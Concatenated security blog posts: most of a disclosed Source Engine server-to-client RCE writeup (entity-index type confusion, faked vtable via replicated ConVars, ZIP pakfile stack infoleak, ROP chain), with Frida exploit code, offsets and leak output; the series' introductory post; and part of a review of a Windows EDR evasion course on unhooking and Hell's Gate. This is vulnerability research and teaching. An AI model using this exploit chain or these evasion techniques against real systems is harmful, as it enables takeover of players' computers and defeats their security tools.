All together, this vulnerability allows us to return an arbitrary IClientNetworkable* from GetClientNetworkable as long as it is aligned to an 8 byte boundary (as sizeof(m_EntityCacheInfo) == 8). This is important for finding future exploit chaining.

Lastly, the result of returning an arbitrary IClientNetworkable* is that there is immediately this function call on our controlled pEnt pointer:

pEnt->PreDataUpdate( DATA_UPDATE_DATATABLE_CHANGED );

This is a virtual function call. This means that the generated code will offset into pEnt’s vtable and call a function. This looks like so in IDA:

image-20200507164606006

Notice call dword ptr [eax+24]. This implies that the vtable index is at 24 / 4 = 6, which is also important to know for future exploitation.

And that’s it, we have our first bug. This will allow us to control, within reason, the location of a fake object in the client to later craft into an arbitrary execute. But how are we going to create a fake object at a known location such that we can convince CL_CopyExistingEntity to call the address of our choice? Well, we can take advantage of the fact that the server can set any arbitrary value to a ConVar on a client, and most ConVar objects exist in globals defined inside of client.dll.

The definition of ConVar is:

class ConVar : public ConCommandBase, public IConVar

Where the general structure of a ConVar looks like:

ConCommandBase *m_pNext; [0x00]
bool m_bRegistered; [0x04]
const cha *m_pszName; [0x08]
const char *m_pszHelpString; [0x0C]
int m_nFlags; [0x10]
ConVar *m_pParent; [0x14]
const char *m_pszDefaultValue; [0x18]
char *m_pszString; [0x1C]

In this bug, we’re targeting m_pszString so that our crafted pointer lands directly on m_pszString. When the bug calls our function, it will believe that &m_pszString is the location of the object’s pointer, and m_pszString will contain its vtable pointer. The engine will now believe that any value inside of m_pszString for the ConVar will be part of the object’s structure. Then, it will call a function pointer at *((*m_pszString)+0x1C). As long as the ConVar on the client is marked as FCVAR_REPLICATED, the server can set its value arbitrarily, giving us full control over the contents of m_pszString. If we point the vtable pointer to the right place, this will give us control over the instruction pointer!

m_pszString is at offset 0x1C in the above ConVar structure, but the terms of our vulnerability requires that this pointer be aligned to an 8 byte boundary. Therefore, we need to find a suitable candidate ConVar that is both globally defined and replicated so that we can align m_pszString to correctly to return it to GetClientNetworkable.

This can be seen by what GetClientNetworkable looks like in x64dbg:

image-20200507170851575

In the above, the pointer we can return is controlled as such:

ecx+eax*8+28 where ecx is entitylist, eax is controlled by us

With a bit of searching, I found that the ConVar sv_mumble_positionalaudio exists in client.dll and is replicated. Here it exists at 0x10C6B788 in client.dll:

image-20200507173708203

This means to calculate the value of m_pszString, we add 0x1A to get 0x10C6B788 + 0x1C = 0x10C6b7A4. In this build, entitylist is at an aligned offset of 4 (0xC580B4). So, now we can calculate if this candidate is aligned properly:

>>> 0x10c6b7a4 % 0x8
4

This might look wrong, but entitylist is actually aligned to a 0x04 boundary, so that will add an extra 0x04 to the above alignment, making this value successfully align to 0x08!

Now we’re good to go ahead and use the m_pszString value of sv_mumble_positionalaudio to fake our object’s vtable pointer by using the server to control the string data contents through ConVar replication.

In summary, this is the path the code above will take:

  • Call GetClientNetworkable to get pEnt, which we will fake to point to &m_pszString.
  • The code dereferences the first value inside of m_pszString to get the pointer to the vtable
  • The code offsets the vtable to index 6 and calls the first function there. We need to make sure we point this to a place we control, otherwise we would only be controlling the vtable pointer and not the actual function address in the table.

But where are we going to point the vtable? Well, we don’t need much, just a location of a known place the server can control so we can write an address we want to execute. I did some searching and came across this:

bool NET_Tick::ReadFromBuffer( bf_read &buffer )
{
	VPROF( "NET_Tick::ReadFromBuffer" );

	m_nTick = buffer.ReadLong();
#if PROTOCOL_VERSION > 10
	m_flHostFrameTime = (float)buffer.ReadUBitLong( 16 ) / NET_TICK_SCALEUP;
	m_flHostFrameTimeStdDeviation = (float)buffer.ReadUBitLong( 16 ) / NET_TICK_SCALEUP;
#endif
	return !buffer.IsOverflowed();
}

As you might see, m_nTick is controlled by the contents of the NET_Tick packet directly. This means we can assign this to an arbitrary 32-bit value. It just so happens that this value is stored at a global as well! After some scripting up in Frida, I confirmed that this is indeed completely controllable by the NET_Tick packet from the server:

image-20200513141444074

The code to send this packet with my Frida bindings is quite simple too:

function SetClientTick(bf: bf_write, value: NativePointer) {
    bf.WriteUBitLong(net_Tick, NETMSG_BITS)

    // Tick count (Stored in m_ClientGlobalVariables->tickcount)
    bf.WriteLong(value.toInt32())

    // Write m_flHostFrameTime -> 1
    bf.WriteUBitLong(1, 16);

    // Write m_flHostFrameTimeStdDeviation -> 1
    bf.WriteUBitLong(1, 16);
}

Now we have a candidate location to point our vtable pointer. We just have to point it at &tickcount - 24 and the engine will believe that tickcount is the function that should be called in the vtable. After a bit of testing, here’s the resulting script which creates and sends the SVC_PacketEntities packet to the client to trigger the exploit:

// craft the netmessage for the PacketEntities exploit
function SendExploit_PacketEntities(bf: bf_write, offset: number) {
    bf.WriteUBitLong(svc_PacketEntities, NETMSG_BITS)

    // Max entries
    bf.WriteUBitLong(0, 11)

    // Is Delta?
    bf.WriteBit(0)

    // Baseline?
    bf.WriteBit(0)

    // # of updated entries?
    bf.WriteUBitLong(1, 11)

    // Length of update packet?
    bf.WriteUBitLong(55, 20)

    // Update baseline?
    bf.WriteBit(0)

    // Data_in after here
    bf.WriteUBitLong(3, 2) // our data_in is of type 32-bit integer

    // >>>>>>>>>>>>>>>>>>>> The out of bounds type confusion is here <<<<<<<<<<<<<<<<<<<<
    bf.WriteUBitLong(offset, 32)

    // enterpvs flag
    bf.WriteBit(0)

    // zero for the rest of the packet
    bf.WriteUBitLong(0, 32)
    bf.WriteUBitLong(0, 32)
    bf.WriteUBitLong(0, 32)
    bf.WriteUBitLong(0, 32)
    bf.WriteUBitLong(0, 32)
    bf.WriteUBitLong(0, 32)
    bf.WriteUBitLong(0, 32)
    bf.WriteUBitLong(0, 32)
}

Now we’ve got the following modified chain:

  • Call GetClientNetworkable to get pEnt, which we will fake to point to &m_pszString.
  • The code dereferences the first value inside of m_pszString to get the pointer to the vtable. We point this at &tickcount - 6*4 which we control.
  • The code offsets the vtable to index 6, dereferences, and calls the “function”, which will be the value we put in tickcount.

This generally looks like this in the exploit script:

// The fake object pointer and the ROP chain are stored in this cvar
ReplicateCVar(pkts_to_send, "sv_mumble_positionalaudio", tickCountAddress)

// Set a known location inside of engine.dll so we can use it to point our vtable value to
SetClientTick(pkts_to_send, new NativePointer(0x41414141))

// Then use exploit in PacketEntities to fake the object pointer to point to sv_mumble_positionalaudio's string value
SendExploit_PacketEntities(pkts_to_send, 0x26DA) 

0x26DA was calculated above to be the necessary entnum value to cause the out-of-bounds and align us to sv_mumble_positionalaudio->m_pszString.

Finally, we can see the results of our efforts:

image-20200513142919977

As we can see here, 0x41414141 is being popped off the stack at the ret, giving us a one-shot arbitrary execute! What you can’t see here is that, further down on the stack, our entire packet is sitting there unchanged, giving us ample room for a ROP chain.

Now, all we need is a pivot, which can be easily found using the Ropper project. After finding an appropriate pivot, we now can begin crafting a ROP chain… except we are missing something important. We don’t know where any gadgets are located in memory, including our stack pivot! Up until now, everything we’ve done is with relative offsets, but now we don’t even know where to point the value of 0x41414141 to on the client, because the layout of the code is randomized by ASLR. The easy way out would be to load up CS:GO and use xinput.dll addresses for our ROP chain… but that would violate my arbitrary constraint that this exploit must work for all Source games.

This means we need to go infoleak hunting.

Leaking uninitialized stack memory using a tricky ZIP file bug

After auditing the engine for many days over the course of a few months, I was finally able to engineer a series of tricks to chain together to cause the engine to leak uninitialized stack memory. This was all-in-all significantly harder than the memory corruption, and required a lot of out-of-the-box thinking to get it to work. This was my favorite part of the exploit. Here’s some background on how some of these systems work inside the engine and how they can be chained together:

  • Servers can cause the client to upload arbitrary files with certain file extensions
  • Map files can contain an embedded ZIP file which can package additional textures/files. This is called a “pakfile”.
  • When the map has a pakfile, the engine adds the zip file as sort of a “virtual overlay” on the regular filesystem the game uses to read/write files. This means that, in any file accesses the game makes, it will check the map’s pakfile to see if it can read it from there.

The interesting behavior I discovered about this system is that, if the server requests a file that is inside of the map’s pakfile, the client will upload that file from the embedded ZIP to the server. This wouldn’t make any sense in a normal case, but what it does is create a very unintended attack surface.

Now, let’s take a look at the function which is responsible for determining how large the file is that is going to be uploaded to the server, and if it is too large to be sent:

int totalBytes = g_pFileSystem->Size( filename, pPathID );

if ( totalBytes >= (net_maxfilesize.GetInt()*1024*1024) )
{
    ConMsg( "CreateFragmentsFromFile: '%s' size exceeds net_maxfilesize limit (%i MB).\n", filename, net_maxfilesize.GetInt() );
    return false;
}

So, what happens inside of g_pFileSystem->Size when you point it to a file inside the pakfile? Well, the code reads the ZIP file structure and locates the file, then reads the size directly from the ZIP header:

image-20200430014752750

Notice: lookup.m_nLength = zipFileHeader.uncompressedSize

Now we fully control the contents of the map file we gave to the client when they loaded in. Therefore, we control all the contents of the embedded pakfile inside the map. This means we control the full 32-bit value returned by g_pFileSystem->Size( filename, pPathID );.

So, maybe you have noticed where we’re going. int totalBytes is a signed integer, and the comparison for whether a file is too large is determined by a signed comparison. What happens when totalBytes is negative? That makes it fully pass the length check.

If we are able to hack a file into the ZIP structure with a negative length, the engine will now happily upload to the server.

Let’s look at the function responsible for reading the file to be uploaded to the server.

Inside of CNetChan::SendSubChannelData:

g_pFileSystem->Seek( data->file, offset, FILESYSTEM_SEEK_HEAD );
g_pFileSystem->Read( tmpbuf, length, data->file );
buf.WriteBytes( tmpbuf, length );

A stack buffer of size 0x100 is used to read contents of the file in 0x100 sized chunks as the file is sent to the server. It does so by calling g_pFileSystem->Read() on the file pointer and reading out the data to a temporary buffer on stack. The subchannel believes this file to be very large (as the subchannel interprets the size as an unsigned integer). The networking code will indefinitely send chunks to the server by allocating 0x100 of stack space and calling ->Read(). But, when the file pointer reaches the end of the pakfile, the calls to ->Read() stop writing out any data to the stack as there is no data left to read. Rather than failing out of this function, the return value of ->Read() is ignored and the data is sent Anyway. Because the stack’s contents are not cleared with each iteration, 0x100 bytes of uninitialized stack data are sent to the server constantly. The client’s subchannel will continue to send fragments indefinitely as the “file size” is too large to ever be sent successfully.

After quite a bit of learning about how the PKZIP file structure works, I was able to write up this Python script which can take an existing BSP and hack in a negatively sized file into the pakfile. Here’s the result:

image-20200506163703366

Now, we can test it by loading up Frida and crafting a packet to request the hacked file be uploaded to the server from the pakfile. Then, we can enable net_showfragments 1 in the game’s console to see all of the fragments that are being sent to us:

image-20200506171807825

This shows us that the client is sending many file fragments (num = 1 means file fragment). When left running, it will not stop re-leaking that stack memory to us, and will just continue to do so infinitely as long as the client is connected. This happens slowly over time, so the client’s game is unaffected.

I also placed a Frida Interceptor hook on the function responsible for reading the file’s size, and here we can see that it is indeed returning a negative number:

image-20200506164957309

Lastly, I hooked the function responsible for processing incoming file fragment packets on the server, and lo and behold, I have this blob of data being sent to us:

           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  50 4b 05 06 00 00 00 00 06 00 06 00 f0 01 00 00  PK..............
00000010  86 62 00 00 20 00 58 5a 50 31 20 30 00 00 00 00  .b.. .XZP1 0....
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 fa 58 13 00 00 58 13 00 00 26  .......X...X...&
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 19 3b 00  ..............;.
00000050  00 6d 61 74 65 72 69 61 f0 5e 65 62 30 2e b9 05  .materia.^eb0...
00000060  60 55 65 62 9c 76 71 00 ce 92 61 62 f0 5e 65 62  `Ueb.vq...ab.^eb
00000070  08 0b b9 05 b8 00 7c 6d 30 2e b9 05 b9 00 7c 6d  ......|m0.....|m
00000080  f0 5e 65 62 f0 5e 65 62 f0 89 61 62 f0 5e 65 62  .^eb.^eb..ab.^eb
00000090  44 00 00 00 60 55 65 62 60 55 65 62 00 00 00 00  D...`Ueb`Ueb....
000000a0  00 b5 4e 00 00 6d 61 74 65 72 69 61 6c 73 2f 6d  ..N..materials/m
000000b0  61 70 73 2f 63 70 5f 63 ec 76 71 00 00 02 00 00  aps/cp_c.vq.....
000000c0  0a a4 bc 7b 30 2e b9 05 f0 70 88 68 40 00 00 00  ...{0....p.h@...
000000d0  00 a5 db 09 01 00 00 00 c4 dc 75 00 16 00 00 00  ..........u.....
000000e0  00 00 00 00 98 77 71 00 00 00 00 00 00 00 00 00  .....wq.........
000000f0  30 77 71 00 cb 27 b3 7b 00 03 00 00 97 27 b3 7b  0wq..'.{.....'.{

You might not be able to tell, but this data is uninitialized. Specifically, there are pointer values that begin with 0x7B or 0x7C littered in here:

  • 97 27 b3 7b
  • 0a a4 bc 7b
  • 05 b9 00 7c
  • 05 b8 00 7c

The offsets of these pointer values in the 0x100 byte buffer are not always at the same place. Some heuristics definitely go a long way here. A simple mapping of DWORD values inside the buffer over time can show that some values quickly look like pointers and some do not. After a bit of tinkering with this leak, I was able to get it controlled to leak a known pointer value with ~100% certainty.

Here’s what the final output of the exploit looked like against a typical user:

[*] Intercepting ReadBytes (frag = 0)
0x0: 0x14b5041
0x4: 0x14001402
0x8: 0x0
0xc: 0x0
0x10: 0xd99e8b00
0x14: 0xffff00d3
0x18: 0xffff00ff
0x1c: 0x8ff
0x20: 0x0
0x24: 0x0
0x28: 0x18000
0x2c: 0x74000000
0x30: 0x2e747365
0x34: 0x50747874
0x38: 0x6054b
0x3c: 0x1000000
0x40: 0x36000100
0x44: 0x27000000
[...]
0xcc: 0xafdd68
0xd0: 0xa097d0c
0xd4: 0xa097d00
0xd8: 0xab780c
0xdc: 0x4
0xe0: 0xab7778
0xe4: 0x7ac9ab8d
0xe8: 0x0
0xec: 0x80
0xf0: 0xab7804
0xf4: 0xafdd68
0xf8: 0xab77d4
0xfc: 0x0
[*] leakedPointer: 0x7ac9ab8d
[*] Engine_Leak2 offset: 0x23ab8d
[*] leakedBase: 0x7aa60000

Only one of these values had a lower WORD offset that made sense (0xE4) therefore it was easily selectable from the list of DWORDS. After leaking this pointer, I traced it back in IDA to a return location for the upper stack frame of this function, which makes total sense. I gave it a label Engine_Leak2 in IDA, which could be loaded directly from my ret-sync connection to dynamically calculate the proper base address of the engine.dll module:

// calculate the engine base based on the RE'd address we know from the leak
static convertLeakToEngineBase(leakedPointer: NativePointer) {
    console.log("[*] leakedPointer: " + leakedPointer)

    // get the known offset of the leaked pointer in our engine.dll
    let knownOffset = se.util.require_offset("Engine_Leak2");
    console.log("[*] Engine_Leak2 offset: " + knownOffset)

    // use the offset to find the base of the client's engine.dll
    let leakedBase = leakedPointer.sub(knownOffset);
    console.log("[*] leakedBase: " + leakedBase)

    if ((leakedBase.toInt32() & 0xFFFF) !== 0) {
        console.log("[!] Failed leak...")
        return null;
    }

    console.log("[*] Got it!")
    return leakedBase;
}

The Final Chain + RCE!

After successfully developing the infoleak, now we have both a pointer leak and an arbitrary execute bug. These two are sufficient enough for us to craft a ROP chain and pop that sweet sweet calculator. The nice part about Frida being a Python module at its core is that you can use pyinstaller to turn any Frida script into an all-in-one executable. That way, all you have to do is copy the .exe onto a server, run your Source dedicated server, and launch the .exe to arm the server for exploitation.

Anyway, here is the full step-by-step detail of chaining the two bugs together:

  1. Player joins the exploitation server. This is picked up by the PoC script and it begins to exploit the client.

  2. Player downloads the map file from the server. The map file is specially prepared to install test.txt into the GAME filesystem path with the compromised length

  3. The server executes RequestFile to request the test.txt file from the pakfile. The client builds fragments for the new file and begins sending 0x100 sized fragments to the server, leaking stack contents. Inside the stack contents is a leaked stack frame return address from a previous call to bf_read::ReadBytes. By doing some calculations on the server, this achieves a full ASLR protection bypass on the client.

  4. The malicious server calculates the base of engine.dll on the client instance using the leaked pointer. This allows the server to now build a pointer value in the exploit payload to anywhere within engine.dll. Without this infoleak bug, the payload could not be built because the attacker does not know the location of any module due to ASLR.

  5. The server script builds a fake vtable pointer on the target client instance by replicating a ConVar onto the client. This is used to build a fake vtable on the client with a pointer to the fake vtable in a known location (the global ConVar). The PoC replicates the fake vtable onto sv_mumble_positionalaudio which is a replicated ConVar inside of client.dll. The location of the contents of this replicated ConVar can be calculated from sv_mumble_positionalaudio->m_pszString and is used for later exploitation steps.

  6. The server builds a ROP chain payload to execute the Windows API call for ShellExecuteA. This ROP chain is used to bypass the NX protection on modern Windows systems. The chain utilizes the known addresses in engine.dll that were leaked from the exploitation of the separate bug in Step 3. Upon successful exploitation, this ROP chain can execute arbitrary code.

  7. The script again replicates the ConVar sv_downloadurl onto the client instance with the value of C:/Windows/System32/winver.exe. This is used by the ROP chain as the target program to execute with ShellExecuteA. This ConVar exists inside of engine.dll so the pointer sv_download_url->m_pszString is now at an attacker known location.

  8. The server sends a crafted NET_Tick message to modify the value of g_ClientGlobalVariables->tickcount to be a pointer to a stack pivot gadget found inside of engine.dll (again, leaked from Step 3). Essentially, this is another trick to get a pointer value to exist at an attacker controlled location within engine.dll.

  9. Now, the next bug will be used by creating a specially crafted SVC_PacketEntities netmessage which will call CL_CopyExistingEntity on the client instance with the vulnerable value for m_nNewEntity. This value will exploit the array overrun in GetClientNetworkable inside of client.dll and allows us to confuse the pointer return value to instead be a pointer to sv_mumble_positionalaudio->m_pszString (also inside client.dll). At the location of sv_mumble_positionalaudio->m_pszString is the fake object pointer created in Step 4. This object pointer will redirect execution by pretending to be an IClientNetworkable* object and redirect the virtual method call to the value found within g_ClientGlobalVariables->tickcount. This means we can set the instruction pointer to any value specified by the NET_Tick trick we used in Step 7.

  10. Lastly, to execute the ROP chain and achieve RCE, the g_ClientGlobalVariables->tickcount is pointed to a stack pivot gadget inside of engine.dll. This pivots the stack to the ROP payload that was placed in sv_mumble_positionalaudio->m_pszString in Step 4. The ROP chain then begins execution. The chain will load necessary arguments to call ShellExecuteA, then execute whatever program path we replicated onto sv_downloadurl given in Step 6. In this case, it is used to execute winver.exe for proof of concept. This chain can execute any code of the attacker’s choosing, and has full permissions to access all of the users files and data.

And there you have it. This entire exploitation happens automatically, and does so by using Frida to inject into the dedicated server process to instrument to do all of the steps above. This is quite involved, but the result is pretty awesome! Here’s a video of the full PoC in action, be sure to full screen it so it’s easier to see:

Disclosure Timeline

  • [2020-05-13] Reported to Valve through HackerOne
  • [2020-05-18] Bug triaged
  • [2021-04-28] Notification that the bugs were fixed in Beta
  • [2021-04-30] Bounty paid ($7500) and notification that the bugs were fixed in Retail

Supporting Files

Exploit PoC and the map hacking Python script referenced in this post are available in full at:

https://github.com/Gbps/sourceengine-packetentities-rce-poc

For the Frida exploit chain: https://github.com/Gbps/sourceengine-packetentities-rce-poc/tree/master/src/agent

But sure to give it a ⭐ if you liked it!

Final thoughts

This chain was super fun to develop, and the constraints I placed on myself made the exploit way more interesting than my first submission. I’m glad that the report finally went through so I could publish the information for everyone to read. It really goes to show that even a fairly simple set of bugs on paper can turn into a complex exploitation effort quickly when targeting big software applications. But, doing so helps you develop skills that you might not necessarily pick up from simple CTF problems.

Incorporating the Frida project definitely reinvigorated my drive to continue poking and testing PoCs for bugs, as the process for scripting up examples was much nicer than before. I hope to spend some time in a future post to discuss more ways to utilize Frida on the desktop, and also hope to publish my ret-sync Frida plugin in an official capacity on my GitHub soon.

I’m also working on some other projects in the meantime, off-and-on. I have also been writing a fairly large project which implements a CS:GO client from scratch in Rust to help improve my skills with the language. After a ton of work, I can happily say my client can authenticate with Steam, fully connect and load into a server, send and receive netchannel packets with the game server, and host a fake console to execute concommands. There is no graphical portion of this, it is entirely command line based.

In addition, I’ve started to shift my focus somewhat away from Source and onto Steam itself. Steam is a vastly complex application, and its networking protocol it uses is magnitudes more complex than that of Source. There hasn’t been too much research done in the public on Steam’s networking protocols, so I’ve written a few tools that can fully encode/decode this networking layer and intercept packets to learn how they work. Even an idle instance of Steam running creates a lot of very interesting traffic that very few people have looked at! More information on this hopefully soon.

For now, I don’t have a timeline for the release of any of those projects, or for the next blog post I will write, but hopefully it won’t be as long as it took to get this one out ;)

Thank you for reading!

Exploiting the Source Engine (Part 1)

2 August 2018 at 00:00

Introduction

It’s been a long time coming, but here’s my first post on a series about finding and exploiting bugs in Valve Software’s Source Engine. I was first introduced to it through the sandbox game Garry’s Mod in 2010, which introduced me to the field of reverse engineering and paved the way for my favorite hobby, my education, and my eventual employment.

I took a long hiatus from working with the Source Engine when I went to college and got involved obsessed with playing CTF competitions, a type of competition where participants solve challenges that mimic real-world reverse engineering and exploitation tasks. One day, I saw a post made about a TF2 RCE proof-of-concept released against the engine. To be honest, the bug and the exploit was very simple, and nothing more difficult than some of the intermediate challenges one would find in a good CTF. With that knowledge under my belt, I decided to prove myself and come back to the Source Engine with the goal of finding a true Remote Code Execution (RCE).

As it turns out, this was around the time that Valve released their Bug Bounty program through HackerOne, where they boasted a bounty range of $1,000 - $25,000 for these kind of bugs. With a bit of luck, I successfully found and wrote a proof-of-concept for a critical Server to Client RCE bug, and was given a generous bounty of $15,000 from Valve. Everything in this series is dedicated to information I’ve learned along the way about the engine.

NOTE: As of writing, the vulnerability has not been publicly disclosed. I will be doing a writeup of the bug and exploit chain if/when it goes public.

image-20180802185147009
Source games Dota 2, CS:GO, and TF2 continue to hold top active player counts on Steam.

The Source Engine

The Source Engine is a third generation derivative of the famous Quake Engine from 1999 and the Valve’s own GoldSrc engine (the HL1 engine). The engine itself has been used to create some of the most famous FPS game series’ in history, including Half-Life, Team Fortress, Portal, and Counter Strike.

Timeline:

  • 1998 - Valve showcases GoldSrc, a heavily modified Quake engine.
  • 2004 - Valve releases the Source Engine based on GoldSrc.
  • 2007 - The source code to the Source Engine is leaked.
  • 2012 - CS:GO is released, and with it, “Source 1.5” begins development.
  • 2013 - Valve releases the public 2013 SDK for the TF2/CS:S engine containing most of the code necessary to write games for the engine.
  • 2015 - The “Reborn” update for Dota 2 brings the first Source 2 game to market.
  • 2018 - Valve opens their HackerOne program to the public.

The Code:

The first thing that I didn’t truly appreciate about this engine (and other engines in general) is how large it is. The engine is gigantic, featuring millions of lines of C++ code to develop, render, and run games of all types (but mostly first-person games).

The code itself is old and unmaintained. Most of the code was very obviously rushed out to meet deadlines, and honestly it is a huge surprise that the engine even functions at all. This is not unique to Valve, and is very typical in the game development world.

Assets such as models, particles, and maps are all built and run using custom file formats developed by Valve or extended from Quake (yes, file format parsers from 1999). There are still usages of obviously unsafe functions such as strcpy and sprintf, and in general the engine itself has a history of “add, add, add” and very little maintenance.

A lot of the C++ classes included in the engine are straight up dead code. Big features were designed and developed, yet only used for very small parts of the engine. The 2013 SDK tools themselves still have difficulty building valid files for their current engine versions of the engine. Classes derive from anywhere from one to nine or more different base classes, and tend to feature a never-ending maze of abstractions on abstractions. Navigating this codebase is time consuming and generally unpleasant for beginners. All in all, the engine is due for a legacy code rewrite that will likely never happen.

Intro to Source Games:

Source Engine games consists of two separate parts, the engine and the game.

The engine consists of all of the typical game engine features like rendering, networking, the asset loaders for models and materials, and the physics engine. When I refer to the Source Engine, I am referring to this part of the game. The bulk of the engine’s code is found in engine.dll, which is found in the path /bin/engine.dll from the game’s root. This same base code is used in some manner across all SE games, and is typically utilized by 3rd party game developers in its pre-compiled form. The code for the Source Engine was leaked (luckily) as part of the 2007 Valve leak, and this leak is all the code that is available to the public for the engine.

The second part, the game, consists of two main parts, client.dll and server.dll. These binaries contain the compiled game that will use the engine. Both of these dlls will utilize engine.dll heavily in order to function. Inside of client.dll, you will find the code responsible for the GUI subsystem (named VGUI) of the game and the clientside logic of the actual game itself. Inside of server.dll, you will find all of the code to communicate the game’s serverside logic to the remote player’s client.dll. Both of these dlls are found in /[gamedir]/bin/*.dll, where [gamedir] is the game abbreviation (csgo, tf2, etc.).

Both the server and client have shared code that defines the entities of the game and variables that will be synchronized. Shared code is compiled directly into each binary, but some C macro design ensures that only the server parts compile to server.dll, and vice-versa. The engine.dll entity system will synchronize the server’s simulation of the game, and the client’s dll will take these simulations and display them to the player through the engine.dll renderer.

Lastly, a big feature of all Source games that was taken and evolved from the Quake engine is the ConVar system. This system defines a series of variables and commands that are executed on an internal command line, very similar to a cmd.exe or /bin/sh shell. The difference is that, instead of executing new processes, these commands will run functions on either the client or server depending on where its run. The engine defines some low-level ConVars found on both the server and client, while the game dlls add more on top of that depending on the game dll that’s running.

  • A Console Variable (ConVar) takes the form of <name> <value>, where the value can be numerical or string based. Typically used for configuration, certain special ConVars will be synchronized. The server can always request the value of a client’s ConVar. Example: sv_cheats 1 sets the ConVar sv_cheats to 1, which enables cheats.
  • A Console Command (ConCommand) takes the form of <name> <arg0> <arg1> …, and defines a command with a backing C++ function that can be run from the developer console. Sometimes, it is used by the game or the engine to run remote functions (client -> server, server -> client). Example: changelevel de_dust executes the command changelevel with the argument de_dust, which changes the current map when run on the server console.

This is just an intro, more on all of this to follow in future posts.

The Bugs:

All of this old code and custom formats is fantastic for a bug hunter. In 2018, all that’s truly necessary to perform a full chain RCE is a good memory corruption bug to take control and an information leak to bypass ASLR. Typically, the former is the most difficult part of bug hunting in modern software, but later you will see that, for the SE, it is actually the latter.

Here is an overview of the Windows binaries:

  • 32-bit binaries
  • NX - Enabled
  • Full ASLR - Enabled (recently)
  • Stack Cookies - Disabled (in the cases it matters)

If you’re an exploit developer, you would probably find the lack of stack cookies in a game engine with millions of players to be a very shocking discovery. This is a vital shortcoming of the already aging engine, and is essentially unheard of in modern Windows binaries. Valve is well aware of this protection’s existence, and has chosen time and time again not to enable it. I have some speculation as to why this is not enabled (most likely performance or build breaking issues), but regardless, there is a huge point to make: Any controllable stack overflow can overwrite the instruction pointer and divert code execution.

Considering how much the stack is used in this engine, this is a huge benefit to bug hunters. One simple out-of-bounds (OOB) string copy, such as a call to strcpy, will result in swift compromise of the instruction pointer straight into RCE. My first bug, unsurprisingly, is a stack overflow bug, not much different than you would find in a beginner level CTF challenge. But, unlike the CTF, its implications of a full client machine compromise in a series of games with a huge player base leads to the large payout.

Hunting:

When hunting for these bugs, I chose to take a slightly more difficult path of only performing manual code auditing on the publicly available engine code. What this allows me to do is both search for potentially useful bugs and also learn the engine’s internals along the way. While it might be enticing for me to just fuzz a file format and get lots of crashes, fuzzing tends to find surface level bugs that everyone’s finding, and never those really deep, interesting bugs that no one is finding.

As I said previously, the codebase for this engine is gigantic. You should take advantage of all of the tools available to you when searching. My preferred toolset is this:

  • Following code structure and searches using Visual Studio with Resharper++.
  • Cmder (with grep) to search for patterns.
  • IDA Pro to prove the existence of the bug in the newest build.
  • WinDbg and x64dbg to attach to the game and try to trigger the bug.
  • Sourcemod extensions to modify the server for proof-of-concepts

With these tools, my general “process” for bug hunting is this:

  1. Find some section of the client code I feel is exploitable and want to look into more closely

  2. Start reading code. I’ll read for hours until I come across what I think is a possible exploitable bug.

  3. From there, I will open up IDA Pro and locate the function I think is exploitable, then compare its current code with the old, public code I have available.

  4. If it still appears to be exploitable, I will try to find some method to trigger the exploitable function from in-game. This turns out to be one of the hardest parts of the process, because finding a triggerable path to that function is a very difficult task given the size of the engine. Sometimes, the server just can’t trigger the bug remotely. Some familiarity with the engine goes a long way here.

  5. Lastly, I will write Sourcemod plugins that will help me trigger it from a game server to the client, hoping to finally prove the existence of the bug and the exploitability in a proof-of-concept.

Next Time

Next post, I will go more in-depth into the codebase of the Engine and explain the entity and networking system that the Engine utilizes to run the game itself. Also, I will begin introducing some of the techniques I used to write the exploits, including the ASLR and NX bypass. There’s a whole lot more to talk about, and this post barely scratches the service. At the moment, I’m in the process of working on a new undisclosed bug in the engine. Hoping to turn this one into another big payout. Wish me luck!

— Gbps

A Review of the Sektor7 RED TEAM Operator: Windows Evasion Course

3 May 2021 at 15:20

A Review of the Sektor7 RED TEAM Operator: Windows Evasion Course

Introduction

Another Sektor7 course, another review! This time it’s the RED TEAM Operator: Windows Evasion Course. You can catch my previous reviews of the RTO: Malware Development Essentials and RTO: Malware Development Intermediate courses as well.

Course Overview

This course, like the previous ones, builds on the knowledge gained in the previous courses. You don’t need to have taken the others if you already have a background in malware development, C++, assembly, and debugging, but if you haven’t, this will very likely be too advanced. The Essentials course might be much more your speed.

Here’s what Windows Evasion covers, according to the course page:

- How a modern detection looks like
- How to get rid of process' internal operations monitoring
- How to make your payload look benign in memory
- How to break process parent-child relation
- How to disrupt EPP/EDR logging
- What is Sysmon and how to bypass it

The course is split into 3 main sections: essentials, non-privileged user vector, and high-privileged user vector. I’ll cover each one, and then provide some thoughts on the course as a whole and the value it provides.

Section 1: Essentials

The course begins as usual, with links to the code and a custom VM with all the tools you’ll need. The first lesson is detail on how modern EDR detection works, covering the different user-mode and kernel-mode components, static analysis, DLL injection, hooking, kernel callbacks, logging, and machine learning. This is as good an overview of the end to end setup of EDRs as I’ve seen. It lays the foundation for the subsequent topics in a nice logical way. It also covers the differences between EDRs and AV, how Sysmon fits in, and how the line between AV and EDRs is becoming more blurred.

Next in essentials, the focus is on defeating various static analysis techniques, specifically entropy, image file details, and code signing. The idea is to make your malicious binary as similar to known-good binaries as possible, with special attention paid the the elements that are commonly flagged by static analysis. None of this is ground-breaking or totally novel, but it does drive home the idea that details matter, and they can add up to successfully achieving execution on a target or being caught.

Section 2: Non-Privileged User Vector

Un/Hooking

The second section covers a range of techniques that can be performed without needing elevated privileges. It begins with an explanation and demonstration via debugger of system call hooking, as performed by the main AV/EDR stand-in for the course, BitDefender. Bitdefender is a good option here, as a trial license is freely available, and it does more EDR-like things than a normal AV, like hooking.

Next, several different methods of defeating user-mode hooking are demonstrated, beginning with the classic overwriting of the .text section of ntdll.dll, which I’ve also covered here. The main disadvantage of this method is the need to map an additional new copy of ntdll.dll into the process address space, which is rather unusual from an AV/EDR perspective.

One alternative to this is to use Hell’s Gate, by Am0nsec and Smelly. This method uses some clever assembly to dynamically resolve the syscall number of a given function from the local copy of ntdll.dll and execute it. However this method has some drawbacks as well, mainly the fact that it will fail if the function to be resolved has already been hooked.

